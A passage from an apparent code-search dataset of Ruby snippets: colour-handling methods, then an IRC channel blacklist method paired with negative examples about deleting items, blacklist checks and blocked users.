CE.rainbow.get(@padding + \"-\" * cnt) + $/\n\n mes += @padding\n 256.times do |i|\n num = i + 1\n mes += CE.fg(\"index#{num}\".intern).get(\"index#{num}\" + \" \" * (4 - num.to_s.size))\n mes += CE.bg(\"index#{num}\".intern).get(\" \" * 5)\n mes += \" \" * 3\n\n if num % 8 == 0\n mes += $/ * 2\n mes += @padding if num != 256\n end\n end\n print mes \n\n exit 0\nend", "def color(*args)\n @instructions << Instruction.new(:color, args)\n self\n end", "def initialize\r\n\t\t@color =\"platinum\"\r\n\tend", "def put_colour_to(item, color)\n item.colorize(color: :\"#{color}\")\n end", "def color_scheme= (number)\n @colors = COLOR_SCHEMES[number % COLOR_SCHEMES.size]\n upload_state\n end", "def recolor(tag, color)\r\n @listarea.tag_configure(tag, 'foreground' => color)\r\n end", "def color_components\n check_if_opacity_changed\n @color_components ||= if @color.is_a? Color::Set\n # Extract colour component arrays; see +def color=+ where colour set\n # size is enforced\n [\n @color[0].to_a, @color[1].to_a, @color[2].to_a\n ]\n else\n # All vertex colours are the same\n c_a = @color.to_a\n [\n c_a, c_a, c_a\n ]\n end\n end", "def create_color_hash\n\t\t\t\tcolors = [:black, :red, :green, :yellow, :blue, :magenta, :cyan, :white, :default]\n\t\t\t\ttype = Config[:color]\n\t\t\t\tcolor_hash = Hash.new\n\t\t\t\tcolors.each do |c|\n\t\t\t\t\tcase type\n\t\t\t\t\twhen \"light\"\n\t\t\t\t\t\tcolor_hash[c] = c\n\t\t\t\t\twhen \"dark\"\n\t\t\t\t\t\tcolor_hash[c] = (\"light_\" + c.to_s).to_sym\n\t\t\t\t\telse\n\t\t\t\t\t\tcolor_hash[c] = :default\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tcolor_hash\n\t\t\tend", "def load_colors!(name)\n color_theme_from_hash(name).each do |object, color|\n Wasko.send(\"set_#{object}\", color)\n end\n end", "def colorize(* colors)\n buff = []\n colors.each{|color| buff << color_code(color)}\n buff << self << color_code(:off)\n buff.join\n end", "def update!(**args)\n @color = args[:color] if args.key?(:color)\n end", "def creator_ai_input\n return Colors.sample(4)\n end", "def colors\n @colors ||= parse_colors(color_properties)\n end", "def colors\n @wmiiconfig.read(\"/bar/#{@name}/colors\").split(/\\s+/).map do |txt|\n txt.scan(/[a-fA-F0-9]{2}/).map{|hex| hex.to_i(16)}\n end\n end", "def colors_from_hash(match, hash); end", "def initialize_colors\n Ncurses.start_color\n [[Ncurses::COLOR_RED, Ncurses::COLOR_WHITE],\n [Ncurses::COLOR_GREEN, Ncurses::COLOR_BLACK],\n [Ncurses::COLOR_YELLOW, Ncurses::COLOR_BLACK],\n [Ncurses::COLOR_BLUE, Ncurses::COLOR_WHITE],\n [Ncurses::COLOR_MAGENTA, Ncurses::COLOR_BLACK],\n [Ncurses::COLOR_CYAN, Ncurses::COLOR_BLACK],\n [Ncurses::COLOR_WHITE, Ncurses::COLOR_BLACK]\n ].each.with_index(1) do |pair, i|\n # Initialize color.\n Ncurses.init_pair(i, pair[0], Ncurses::COLOR_BLACK)\n # Initialize reversed color.\n Ncurses.init_pair(i + 8, pair[1], pair[0])\n end\n Ncurses.init_pair(8, Ncurses::COLOR_BLACK, Ncurses::COLOR_WHITE)\n end", "def color_valid?(_clr)\n true\n end", "def color_valid?(_clr)\n true\n end", "def initialize(color)\n\t\t\tself.color = color\n\n\t\t\tif self.color.kind_of?(Array)\n\t\t\t\tself.l, self.a, self.b = self.color\n\t\t\telsif self.color.kind_of?(String)\n\t\t\t\tself.l, self.a, self.b = to_array\n\t\t\tend\n\t\t\t\n\t\t\tbegin\n\t\t\t\tif is_cielab? \n\t\t\t\t\tself.color = to_s\n\t\t\t\telse\n\t\t\t\t\traise ExceptionHandler::ColorFormatError, ErrorMessage.wrong_color_format\n\t\t\t\tend \n\t\t\trescue Exception => e\n\t\t\t\traise ExceptionHandler::ColorFormatError, ErrorMessage.wrong_color_format\n\t\t\tend\n\t\tend", "def set_colors\n if @color_output \n @c_app_info = @color_app_info\n @c_app_exe = @color_app_exe\n @c_command = @color_command\n @c_description = @color_description\n @c_parameter = @color_parameter\n @c_usage = @color_usage\n \n @c_error_word = @color_error_word\n @c_error_name = @color_error_name\n @c_error_description = @color_error_description\n \n @c_bold = @color_bold\n @c_reset = @color_reset\n else\n @c_app_info, @c_app_exe, @c_command, \n @c_description, @c_parameter, @c_usage, \n @c_bold, @c_reset, @c_error_word, \n @c_error_name, @c_error_description = [\"\"]*11\n end\n end", "def initialize(color)\n\t\t\tself.color = color\n\n\t\t\tif self.color.kind_of?(Array)\n\t\t\t\tself.h, self.s, self.l = self.color\n\t\t\telsif self.color.kind_of?(String)\n\t\t\t\tself.h, self.s, self.l = to_array\n\t\t\tend\n\t\t\t\n\t\t\tbegin\n\t\t\t\tif is_hsl? \n\t\t\t\t\tself.color = to_s\n\t\t\t\telse\n\t\t\t\t\traise ExceptionHandler::ColorFormatError, ErrorMessage.wrong_color_format\n\t\t\t\tend \n\t\t\trescue Exception => e\n\t\t\t\traise ExceptionHandler::ColorFormatError, ErrorMessage.wrong_color_format\n\t\t\tend\n\t\tend", "def set_colors\n store.change_colors(@colors)\n end", "def colors\n color_codes.keys\n end", "def color_channels\n color == 2 ? 3 : 4\n end", "def disable_colorization=(value); end", "def find_color_codes\n color_codes.uniq(&:numeric_code)\n end", "def processColours\n params[:colour][:id].shift\n if not params[:colour][:id].empty?\n @plant.colours.clear\n params[:colour][:id].each do |col|\n @col = Colour.find_by_id col\n if not @col.equal? nil\n @plant.colours << @col\n end\n end\n end\n end", "def color_parameters(params)\n return unless params.instance_of?(Hash)\n\n @color = params[:color]\n @background = params[:background]\n @mode = params[:mode]\n @uncolorized = params[:uncolorized]\n self\n end", "def target_color_variation(pixel, color_list)\n string = String.new(color_list)\n pixel_l = pixel.to_hsla[2].to_i\n string += pattern(pixel_l).to_s + EXPORT_LIST_SEPARATOR\n string\n end", "def color\n filter << 'Color:Color'\n self\n end", "def cycled_colors\n @cycled_colors ||= colors.cycle\n end", "def nc\n Ncurses::COLOR_PAIR(@id)\n end", "def background_color(color); end", "def initialize(color={:cyan=> 1 ,:magenta => 0, :yellow => 0, :black => 0})\n @color=color\n end", "def invalidate_color_components\n @color_components = nil\n end", "def invalidate_color_components\n @color_components = nil\n end", "def setup_ghost_colors(num, color)\n # Add 10 to each num to create a new number and assign the opacity-altered color values\n opacity = 0.5\n num += 10\n\n Curses.init_color(num, *color.map { |c| ((c * opacity) / 255.0 * 1000).to_i })\n Curses.init_pair(num, num, num)\nend", "def validate_colors\n super\n validate_color(foreground) if foreground\n end" ]
[ "0.71836215", "0.70422316", "0.68634444", "0.68634444", "0.683087", "0.6757881", "0.6598978", "0.6593697", "0.6520501", "0.6503952", "0.64989513", "0.6434429", "0.6403567", "0.6398101", "0.6371392", "0.6329364", "0.63287085", "0.6327377", "0.6327377", "0.6327377", "0.62750006", "0.6271694", "0.6271694", "0.6259474", "0.6257302", "0.62566423", "0.6221713", "0.6219495", "0.6210159", "0.6172012", "0.61676705", "0.6142497", "0.6137612", "0.6127294", "0.60843337", "0.60843337", "0.6078508", "0.6076235", "0.6072278", "0.6065143", "0.603402", "0.60305977", "0.60251504", "0.6017915", "0.60142267", "0.6012219", "0.5998587", "0.59957623", "0.59914684", "0.59886634", "0.5982402", "0.59810746", "0.5964515", "0.59604746", "0.5948177", "0.5937841", "0.59325886", "0.59314644", "0.59292966", "0.5913856", "0.59115076", "0.5897504", "0.5896487", "0.5877059", "0.5858514", "0.585329", "0.58498734", "0.58471173", "0.5840979", "0.58409476", "0.58384126", "0.5820817", "0.58147126", "0.58059514", "0.58033806", "0.58011025", "0.57983375", "0.5796942", "0.5781056", "0.5779639", "0.5779639", "0.5762575", "0.5761794", "0.5760156", "0.57525027", "0.5749615", "0.5747083", "0.57455736", "0.5739412", "0.57261634", "0.5725726", "0.57225686", "0.57178974", "0.5717502", "0.5712231", "0.5710999", "0.57003754", "0.5697043", "0.5697043", "0.5696937", "0.5685728" ]
0.0
-1
Do the job of adding/deleting
def modify_status(method, action_string, toAdd, options, mod, do_add, server_id) toAdd.each do |chan| talk(options.from_who, t.blacklist.act.global(chan, action_string, method, options.who), server_id) mod.send(("un_" + method), chan) unless do_add mod.send(method, chan) if do_add end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def delete\n \n end", "def delete_operations; end", "def remove; end", "def remove; end", "def remove; end", "def remove; end", "def done_adding(*) end", "def delete\n \n end", "def add \n end", "def delete\n end", "def delete\n\n\tend", "def delete\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def remove\r\n self.update(deleted: true)\r\n end", "def add\n\tend", "def delete\n end", "def add\n end", "def add\n end", "def delete\n end", "def add\n\nend", "def delete\n\n end", "def del\n delete\n end", "def delete_item\n\nend", "def remove!; end", "def remove_item\n\n end", "def delete\n deleted\n save\n end", "def commit_if_delete_dirty\n # no op\n end", "def add_add_del_on_list(key, to_add, to_remove)\n if (@is_commit)\n raise RuntimeError.new('No further request supported after a commit!')\n end\n @requests << {'add_del_on_list' => {'key' => key, 'add' => to_add, 'del'=> to_remove}}\n self\n end", "def test_add_and_remove_releases\n artist = Model::Artist.new\n assert_equal 0, artist.releases.size\n assert_nothing_raised {artist.releases << @releases[0]}\n assert_equal 1, artist.releases.size\n assert_nothing_raised {artist.releases << @releases[1]}\n assert_equal 2, artist.releases.size\n \n assert_nothing_raised {artist.releases.delete @releases[1]}\n assert_equal 1, artist.releases.size\n assert_nothing_raised {artist.releases.delete @releases[0]}\n assert_equal 0, artist.releases.size\n end", "def test_adding_and_removing\n c = Cart.create\n assert_difference(c.cart_items, :size, 3) do\n [1, 3, 4].each do |i|\n assert c.add(i)\n end\n end\n \n assert_equal Book.find([1,3,4]), c.books\n \n [1, 3, 4].each do |i|\n assert c.remove(i)\n end\n assert_equal [], c.reload.cart_items\n end", "def undo\n\t\t\t\t\n\t\t\tend", "def updating_item(list,item,quantity)\r\n\r\n adding_item(list,item, quantity)\r\n\r\nend", "def undo\n\t\t\n\tend", "def undo\n\t\t\n\tend", "def delete_object \n diff = -1*self.quantity \n \n self.update_quantity( diff )\n self.destroy \n end", "def add_or_remove\n @libraries = @current_user.libraries\n @movies = @current_user.movies\n @movie = @movies.find params[:id]\n action = params[:commit]\n\n if action == \"Add to\"\n params[:library_id].each do |lib_id|\n library = @libraries.find lib_id\n library.movies << @movie unless library.movies.include? @movie\n end\n elsif action == \"Remove from\"\n params[:library_id].each do |lib_id|\n library = @libraries.find lib_id\n library.movies.delete(@movie) if library.movies.include? @movie\n end\n end\n redirect_to @movie\n end", "def add_to_latest_list\n story = Story.find(self.id) \n \n if !story.lat.nil? && !story.longt.nil? && story.status == 1\n latest_list = LatestAdventure.add_to_list(story.id,'story',story.user_id)\n else\n delete_from_list = LatestAdventure.delete_from_list(story.id,'story',story.user_id) \n end \n \n end", "def save_items\n self.items.each { |c| if c.destroy_association? then c.destroy else c.save end }\n self.added_items.each { |c| c.save unless c.nil? } unless self.added_items.nil?\n end", "def update\n #replace the parts first\n\n Service.transaction do\n @service.expended_part_ids.uniq.each do |part_id|\n p = ExpendedPart.find(part_id)\n p.part.update(inventory: p.part.inventory + @service.expended_part_ids.count(part_id) )\n p.destroy\n end\n\n updated_parts = service_params[:part_ids]\n updated_parts.delete('')\n updated_parts.uniq.each do |part_id|\n p = Part.find(part_id)\n p.update(inventory: p.inventory - updated_parts.count(part_id))\n end\n end\n\n if @service.update(service_params)\n redirect_to tool_path(service_params[:tool_id]); gflash :success => 'Service was successfully updated.'\n else\n render action: 'edit'\n end\n\n end", "def delete; update(:status => 'DELETED'); end", "def delete_logic( defer = false, mask_exceptions = true )\n if defer\n database.add_to_bulk_cache( { '_id' => self['_id'], '_rev' => rev, '_deleted' => true } )\n else\n begin\n delete_now\n rescue Exception => e\n if mask_exceptions || e.class == CouchDB::ResourceNotFound\n false\n else \n raise e\n end \n end \n end \n end", "def flush\n remove!\n store!\n end", "def add_or_remove(item_ids,add_or_remove)\n\t item_ids.map {|id|\n\t begin\n\t \t #puts \"the signed in resource is:\"\n\t \t #puts self.signed_in_resource\n\t \t \n\t\t cart_item = Auth.configuration.cart_item_class.constantize.find_self(id,self.signed_in_resource)\n\t\t \n\t\t cart_item.signed_in_resource = self.signed_in_resource\n\t\t \t\n\t\t puts \"Add or remove is: #{add_or_remove}\"\n\n\t\t resp = (add_or_remove == 1) ? cart_item.set_cart_and_resource(self) : cart_item.unset_cart\n\t\t \t\n\t\t puts \"unset cart is:#{resp.to_s}\"\n\t\t \n\t\t \n\t\t resp\n\t \t rescue Mongoid::Errors::DocumentNotFound => error\n\t \t \t#puts \"--------------------------------------------DIDNT FIND THE CART ITEM\"\n\t \t \t#puts error.to_s\n\t \t \t#puts \"--------------------------------------------\"\n\t \t \ttrue\n\t \t end\n\t }\n\t #self.errors.add(:cart_items,\"some cart items could not be added or removed successfully\") if ((add_remove_results.size > 1) || (add_remove_results[0] == false)) \n\t \n\tend", "def delete!\n deleted\n save!\n end", "def add(todo)\n @items << Item.new(todo)\n save\n @items.last\n end", "def ensure_deletion_fixes \n # TO DO\n end", "def delete\n newTodos = []\n\n @@allTodos.each { |item|\n if item['id'] != @id\n newTodos.push(item)\n end\n }\n\n @@allTodos = newTodos\n Todo.presist_data\n end", "def test_add_and_remove_aliases\n artist = Model::Artist.new\n assert_equal 0, artist.aliases.size\n assert_nothing_raised {artist.aliases << @aliases[0]}\n assert_equal 1, artist.aliases.size\n assert_nothing_raised {artist.aliases << @aliases[1]}\n assert_equal 2, artist.aliases.size\n \n assert_nothing_raised {artist.aliases.delete @aliases[1]}\n assert_equal 1, artist.aliases.size\n assert_nothing_raised {artist.aliases.delete @aliases[0]}\n assert_equal 0, artist.aliases.size\n end", "def remove_button_clicked()\n\t\t\t@to_delete_row = @form.folderList.currentRow\n\t\tend", "def delete(v)\n\n\tif List.all[v.to_i - 1] == nil\n\n\n\t# id = List.all[v.to_i - 1][:id]\n\n # list_of_ids = []\n\n # List.all.each do |idv|\n\t # list_of_ids << idv.id\n # end\n\n # if (list_of_ids.include?id) == false \n\n # target_id = List.where(id: id)\n\n # if target_id.count == 0\n\n\n clear_screen\n 20.times do blank_line \n end \n \tputs \"Sorry man, there is no such id/person! Did you remember correctly? Please try again..\".center(180)\n blank_line\n puts \"Your list still looks like this! Woohoo!\".center(180)\n sleep(3)\n clear_screen\n normal_list\n blank_line\n else\n id = List.all[v.to_i - 1][:id]\n\n target_person = List.find(id)\n\ttarget_person.destroy\n\n \t# list_of_people = List.where(id: id)\n \t# target = list_of_people[0]\n \t# target.destroy\n \n clear_screen\n 20.times do blank_line \n end \n \tputs \"Muahahhahaahha!! AHHAHA! We've found that person and BLOWN that person up!\".center(180)\n \tblank_line\n \tputs \"THIS IS YOUR UPDATED CONTACT LIST WITH THAT PERSON DEAD! MUAHAHAHHAHA!\".center(180)\n \tsleep(3)\n \tclear_screen\n \tnormal_list\n \tblank_line\n end \nend", "def delete_entry\n\t\t#delete product from cards\n\t\t\[email protected](\"delete from cards where card_no=?\")\n\t\t\tstatement.execute(@card_no)\n\t\t#delete product from inline_products\n\t\t\[email protected](\"delete from inline_products where card_no=?\")\n\t\t\tstatement1.execute(@card_no)\n\tend", "def delete\n @one.info\n @one.delete\n end", "def delete(obj) ; end", "def delete\n @deleted = true\n save\n end", "def delete(object, args = nil)\n #Return false if the object has already been deleted.\n return false if object.deleted?\n classname = object.class.classname.to_sym\n\n self.call(\"object\" => object, \"signal\" => \"delete_before\")\n self.unset(object)\n obj_id = object.id\n object.delete if object.respond_to?(:delete)\n\n if @args[:datarow]\n #If autodelete is set by 'has_many'-method, go through it and delete the various objects first.\n if autodelete_data = object.class.autodelete_data\n autodelete_data.each do |adel_data|\n self.list(adel_data[:classname], {adel_data[:colname].to_s => object.id}) do |obj_del|\n self.delete(obj_del, args)\n end\n end\n end\n\n #If depend is set by 'has_many'-method, check if any objects exists and raise error if so.\n if dep_datas = object.class.depending_data\n dep_datas.each do |dep_data|\n if obj = self.get_by(dep_data[:classname], {dep_data[:colname].to_s => object.id})\n raise \"Cannot delete <#{object.class.name}:#{object.id}> because <#{obj.class.name}:#{obj.id}> depends on it.\"\n end\n end\n end\n\n #If autozero is set by 'has_many'-method, check if any objects exists and set the ID to zero.\n if autozero_datas = object.class.autozero_data\n autozero_datas.each do |zero_data|\n self.list(zero_data[:classname], {zero_data[:colname].to_s => object.id}) do |obj_zero|\n obj_zero[zero_data[:colname].to_sym] = 0\n end\n end\n end\n\n #Delete any translations that has been set on the object by 'has_translation'-method.\n if object.class.translations\n begin\n _hb.trans_del(object)\n rescue NameError\n _kas.trans_del(object)\n end\n end\n\n\n #If a buffer is given in arguments, then use that to delete the object.\n if args and buffer = args[:db_buffer]\n buffer.delete(object.table, {:id => obj_id})\n else\n @args[:db].delete(object.table, {:id => obj_id})\n end\n end\n\n @ids_cache[classname].delete(obj_id.to_i) if @ids_cache_should.key?(classname)\n self.call(\"object\" => object, \"signal\" => \"delete\")\n object.destroy\n return nil\n end", "def complete_task(db, id)\n db.execute(\"DELETE FROM list WHERE id=?\", [id])\nend", "def save\n self.id = (10 + Random.rand(99))\n FileOperations.add(self)\n puts 'Successfully Added'\n end", "def del(*args); end", "def delete_last()\n \n end", "def after_soft_delete; end", "def run_on_deletion(paths)\n end", "def run_on_deletion(paths)\n end", "def additions\n commit_summary(:additions)\n end", "def delete_front()\n \n end", "def commit()\n #This is a stub, used for indexing\n end", "def add\n @item.increment(:quantity)\n @item.save!\n\n refresh\n end", "def delete\n # TODO: implement delete\n end", "def mark_as_removed!\n self.removed = true\n self.save\n end", "def add_entity\n #traversal all the parent node\n #and add the entity to them all\n msg = Message.new\n msg.result = true\n #ActiveRecord::Base.transaction do\n # @entity_group = Department.find_by_id(params[:id])\n # @entity_group_item = EntityGroupItem.new(:entity_id=>params[:entity_id],:entity_group_id=>params[:id])\n # if !@entity_group_item.save!\n # msg.result = false\n # msg.content = @entity_group_item.errors.full_messages\n # end\n # if @entity_group\n # @entity_group.ancestor_ids.each do |id|\n # @e = EntityGroupItem.new(:entity_id=>params[:entity_id],:entity_group_id=>id,:is_visual=>false)\n # if [email protected]!\n # msg.result = false\n # end\n # end\n # end\n #end\n\n entity = Entity.find_by_id(params[:entity_id])\n department = Department.find_by_id(params[:id])\n #add entity to all the ancestors of this department\n if entity&&department\n previous_dept = entity.department\n\n entity.update_attribute(\"department_id\",department.id)\n #delete all the entity_group_itmes\n #if !previous_dept.nil?\n # if entity_group_item = EntityGroupItem.find_by_entity_id_and_entity_group_id(entity.id,previous_dept.entity_group.id)\n # entity_group_item.destroy\n # end\n #\n # previous_dept.ancestors.each do |d|\n # if entity_group_item = EntityGroupItem.find_by_entity_id_and_entity_group_id(entity.id,d.entity_group.id)\n # entity_group_item.destroy\n # end\n # end\n #end\n\n #create all the entity_group_item for new\n #entity_group_item = EntityGroupItem.new(:entity_id => entity.id,:entity_group_id=>department.entity_group.id)\n #entity_group_item.save\n\n #create the entitygroupitem\n #department.ancestors.each do |d|\n # entity_group_item = EntityGroupItem.new(:entity_id => entity.id,:entity_group_id=>d.entity_group.id)\n # entity_group_item.save\n #end\n #end\n msg.result = entity.save\n else\n\n end\n\n render :json=>msg\n end", "def soft_delete\n self.active = false\n save\n\n employees.each(&:soft_delete)\n products.each(&:soft_delete)\n end", "def void_last_transaction\n#save add item to last transaction\n#take total and items list, and remove last transaction\n self.total -= self.last_transaction\n @title.pop\n end", "def update(list, item, qty)\n add_item(list, item, qty)\nend", "def undo\n\t\[email protected] @clone\n\t\t\n\t\t@already_added = false\n\tend", "def delete \n @data = {} \n end", "def remove(entry); end", "def delete!\n clear!\n delete\n end", "def delete_tables\n delete_characters\n delete_kiosks\n delete_traps\n delete_buttons\n end", "def delete \n \t @data = {} \n \tend", "def remove\n if @item.quantity == 1\n @item.destroy!\n else\n @item.decrement(:quantity)\n @item.save!\n end\n\n refresh\n end", "def delete_current\n @deleted_entries.set(@record_index)\n end", "def add_del_member\n id = Base64.decode64(params[:id]) \n if params[:type] =='add' \n status = params[:gtype] == 'Private' ? 0 : 1 ; #0 means admin needs to accept, 1 directly join public group\n member = GroupMember.create(:group_id=> id,:account_id =>current_user.id, :status => status)\t\t\n\t\t\t if member.save\n\t\t\t\trender :json => 1 and return \n\t\t\t else\n\t\t\t\trender :json => 0 and return \n\t\t\t end \t\n else\n member = GroupMember.where(:group_id=> id,:account_id =>current_user.id).first\n if member.present? && member.delete\n render :json => 1 and return \n else\n\t\trender :json => 0 and return \n end \t\n end\n \n \n end", "def sweep(object, command = :commit)\n if (object.for_deletion? && command != :rollback) ||\n (!object.for_deletion? && command == :rollback)\n branch.items.delete(object)\n else\n branch.items.push(object)\n end\n end", "def delete_post\n\t \n \tend", "def journalized_member_deletion\n project = @member.project\n project.init_journal(User.current)\n # key = (added_or_removed == :removed ? :old_value : :value)\n project.current_journal.details << JournalDetail.new(\n :property => 'members',\n :prop_key => 'members',\n :old_value => @member.principal\n )\n project.current_journal.save\n end", "def delete(object); end", "def delete(index)\n todo = @items.delete_at(index.to_i-1)\n save\n todo\n end", "def delete\n self.is_deleted = true\n self.deleted_datetime = DateTime.now \n self.save\n \n # revert the effect \n case self.transaction_entry_code\n when TRANSACTION_ENTRY_CODE[:weekly_saving] # in \n \n when TRANSACTION_ENTRY_CODE[:extra_weekly_saving] # in \n member.deduct_compulsory_savings( self ) \n when TRANSACTION_ENTRY_CODE[:soft_savings_withdrawal] # out \n member.add_extra_savings( self )\n end\n \n end", "def add_item (grocery_list, grocery_item)\n grocery_list.store(grocery_item, 0)\nend", "def after_delete\n end", "def add_to_list(list,item,quantity)\n\tupdate_item(list,item,quantity)\nend", "def trash!\n self.public = false\n self.folded = true\n self.remove_from_list\n end", "def destroy; delete end", "def delete(o); removeObject o end", "def add_to_list_resource\n manage_list_resource(:add)\n end", "def delete\n binding.pry\n DATABASE.execute(\"DELETE FROM contents WHERE id = #{id}\")\n end", "def delete!\n self.deleted = true\n save\n end" ]
[ "0.67627645", "0.67581487", "0.6479457", "0.6479457", "0.6479457", "0.6479457", "0.63846755", "0.6349676", "0.6280146", "0.6209642", "0.6164026", "0.61527604", "0.61527604", "0.61527604", "0.61527604", "0.61527604", "0.61527604", "0.61527604", "0.6148207", "0.61346155", "0.608566", "0.60732204", "0.60732204", "0.6066309", "0.606256", "0.60527164", "0.6007028", "0.5983484", "0.59791076", "0.59676373", "0.59138083", "0.58859754", "0.5865978", "0.5816854", "0.57392246", "0.5724497", "0.5712945", "0.5711135", "0.5711135", "0.57012635", "0.56901836", "0.5686636", "0.56726164", "0.56639314", "0.56517726", "0.5645117", "0.5632504", "0.5631345", "0.5624602", "0.56164634", "0.561454", "0.5612387", "0.5575136", "0.5558143", "0.55563045", "0.55559", "0.5555466", "0.5552584", "0.552506", "0.55209655", "0.55087036", "0.5504424", "0.5502195", "0.5484429", "0.54832655", "0.5476104", "0.5476104", "0.54662764", "0.54645014", "0.54614466", "0.5460339", "0.5459468", "0.5450928", "0.5448531", "0.5443813", "0.5440043", "0.543194", "0.5425197", "0.54240996", "0.5422457", "0.54199964", "0.5415247", "0.5414096", "0.54136187", "0.5411759", "0.5408472", "0.54040956", "0.54034925", "0.540326", "0.5396425", "0.53896785", "0.5386813", "0.53839904", "0.5381941", "0.537843", "0.53761107", "0.5370782", "0.5357301", "0.5350477", "0.53343296", "0.53233397" ]
0.0
-1
Is the chan blacklisted?
def in_blacklist?(chan) @blackList.include?(chan.downcase) if blacklist? end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def blacklisted?(channel, nick)\n return false if not @blacklist[channel].is_a?(Array)\n @blacklist[channel].include?(nick)\n end", "def is_channel_blacklisted?(channel_name)\n !ENV[\"CHANNEL_BLACKLIST\"].nil? && ENV[\"CHANNEL_BLACKLIST\"].split(\",\").find{ |a| a.gsub(\"#\", \"\").strip == channel_name }\nend", "def in_whitelist?(chan)\n return @whiteList.include?(chan.downcase) if whitelist?\n true\n end", "def can_be_blacklisted?\n !self.blacklisted?\n end", "def blacklisted?\n self.friendship_status == BLACKLISTED\n end", "def blacklisted?(request)\n false\n end", "def ensure_not_blacklisted(channel, nick)\n return if not @blacklist[channel].is_a?(Array)\n @blacklist[channel].delete(nick)\n end", "def blocked?\n (status == BLOCKED)\n end", "def blacklisted?(request)\n blacklisters.any? { |name, blacklister| blacklister.matched?(request) }\n end", "def blocked?\n false\n end", "def blocked?\n @blocked\n end", "def verifyChannel(label)\n @connection.call('channel.listSoftwareChannels', @sid)\n .map { |c| c['label'] }\n .include?(label)\n end", "def channel?\n not query?\n end", "def can_recover?\n self.lapsed? and not self.blacklisted\n end", "def blacklisted?(dx)\n domain = dx.split('.').reverse.join('.')+\".\"+self\n a = []\n Resolv::DNS.open do |dns|\n begin\n a = dns.getresources(domain, Resolv::DNS::Resource::IN::A)\n rescue Resolv::NXDomainError\n a=[]\n end\n end\n if a.size>0 then true else false end\n end", "def is_blacklisted?\n errors.add(:url, \"is blacklisted\") if BlacklistUrl.is_listed?(self.url)\n end", "def can_be_blacklisted_by?(user)\n user && user.id != self.user.id # && !user.all_friend_ids.include?(self.user.id)\n end", "def isPriv?\n case @command\n when Event::RECV_CMND_PRIVMSG,Event::RECV_CMND_NOTICE\n #\n # Name which starts with '#','&' or '!' is channel name.\n #\n if(@to=~/^[\\#\\&\\!].+/)\n return false\n else\n return true\n end\n \n else\n return false\n end\n end", "def blocked?(subscriber)\n false\n end", "def private?\n !@data[:channel]\n end", "def blocked?\n !self.blocked.nil?\n end", "def is_banned?\n self.publishing_state == PublishingState::BANNED\n end", "def is_blacklisted_for?(user)\n user && user.id != self.id && self.is_premium? && self.blacklist_ids.include?(user.id)\n end", "def blocked?\n (status == ConfigCenter::User::BLOCKED)\n end", "def blocked?(player_number)\n case to\n when OffBoard\n false\n else\n to.owned_by_opponent?(player_number) && to.blocked?\n end\n end", "def blocked?\n return (@ref.blocked == \"true\") ? true : false\n end", "def can_talk?\n muted = !!redis(\"get\", \"chat:mute:#{@name}\")\n banned = !!redis(\"get\", \"ban:#{@id}\")\n\n !(muted || banned || @id == 0)\n end", "def act_authorized_with_blacklist?(instance, msg)\n result = act_authorized_without_blacklist?(instance, msg)\n return result unless msg.element.is_a? Linael::Irc::Privmsg\n mod = mod(instance.class::Name)\n result &= !mod.in_blacklist?(msg.place)\n result &= mod.in_whitelist?(msg.place)\n result\n end", "def is_blocked?\n return self.flags.unresolved.where(is_blocking: true).count > 0\n end", "def blocked?\n !self.blocked.nil?\n end", "def check_for_a_bomb\n warrior.listen.each do |unit|\n if Captives.include? unit.to_s.to_sym and unit.ticking?\n return true\n end\n end\n return false\n end", "def busy?\n online? and presence.show == :dnd\n end", "def host_is_okay\n return false unless @report_data[:host]\n return false unless valid_ip(@report_data[:host])\n return false unless @report_data[:state] == Msf::HostState::Alive\n if @args[:blacklist]\n return false if @args[:blacklist].include?(@report_data[:host])\n end\n return true\n end", "def receive_message(nick, message)\n !preferences[:nicks].include?(nick)\n end", "def on_chan?\n location =~ /^#/\n end", "def active_scheduled_leaderbits_receiver?\n !discarded? &&\n schedule_id.present? &&\n leaderbits_sending_enabled? &&\n organization.leaderbits_sending_enabled?\n end", "def blocked?\n Rails.cache.exist?(\"block_#{@from}_#{@to}\")\n end", "def blocked?\n !actor.likes?(activity_object)\n end", "def action_blocked?(action)\n @blocked_actions.include?(action)\n end", "def is_banned\n \tif (nil == banned_until) then\n \t false\n elsif (Time.now <= banned_until) then\n true\n else\n false\n end\n end", "def channel?\n self.channel_referent_id > 0\n end", "def ignored?\n self.friendship_status == IGNORED\n end", "def blacklisted_value\n 'blacklisted'\n end", "def blocked?(user)\n blocked.include?(user)\n end", "def still_connected?\n true\n end", "def blackjack?\n\t\treturn (hand.length == 2 and hand_value == BustLimit)\n\tend", "def connected?\n not @sp.closed?\n end", "def blocking?\n false\n end", "def omni\n @channel = nil\n true\n end", "def whitelisted?(request)\n false\n end", "def sent_to_channel?\n IRC.channel_name?(dest)\n end", "def ignorable?\n status.to_sym.in? [StatusPending]\n end", "def usable?\n [:connected, :connecting].include?(@status)\n end", "def unregistered?\n !registered?\n end", "def busy?(include_invisible=false)\n servers.any? { |server| server.busy?(include_invisible) }\n end", "def bluetooth_blocked\n return @bluetooth_blocked\n end", "def is_whitelisted?(address)\n !!(self.class.safetynet_options[:whitelist].match(address))\n end", "def blocked?\n self.blocker_id.present?\n end", "def blocked?\n actor.likes?(activity_object)\n end", "def teleportable?\n !grabbed?\n end", "def available?\n online? and (presence.show == nil or presence.show == :chat)\n end", "def blocked?\n self.blocker_id.present?\n end", "def wi_fi_blocked\n return @wi_fi_blocked\n end", "def blocked?\n QuoVadis.blocked?(self)\n end", "def broadcast?\n self.identifier == '00'\n end", "def haveStolen\n @canISteal = false\n\n end", "def herbalizable?(param)\n whitelisted?(param) && !blacklisted?(param)\n end", "def pact_pending?\n pact_pending\n end", "def blocked?\n fail NotImplementedError\n end", "def track_uses_channel(chan)\n\t@chan_mask = @chan_mask | (1 << chan)\n end", "def cancellable?\n status.to_sym.in? [:pending]\n end", "def is_subscribed\n if initted?\n @@dll_SteamAPI_ISteamApps_BIsSubscribed.call(@i_apps) % 256 != 0\n else\n nil\n end\n end", "def black_owned(x,y)\n if @b[x][y] == @BP || @b[x][y] == @BB || @b[x][y] == @BK || @b[x][y] == @BR || @b[x][y] == @BQ || @b[x][y] == @BKg\n return true\n else\n return false\n end\n end", "def is_blacklisted_ip?(country_list_from_ip)\n return true if (blacklisted_countries & country_list_from_ip).length > 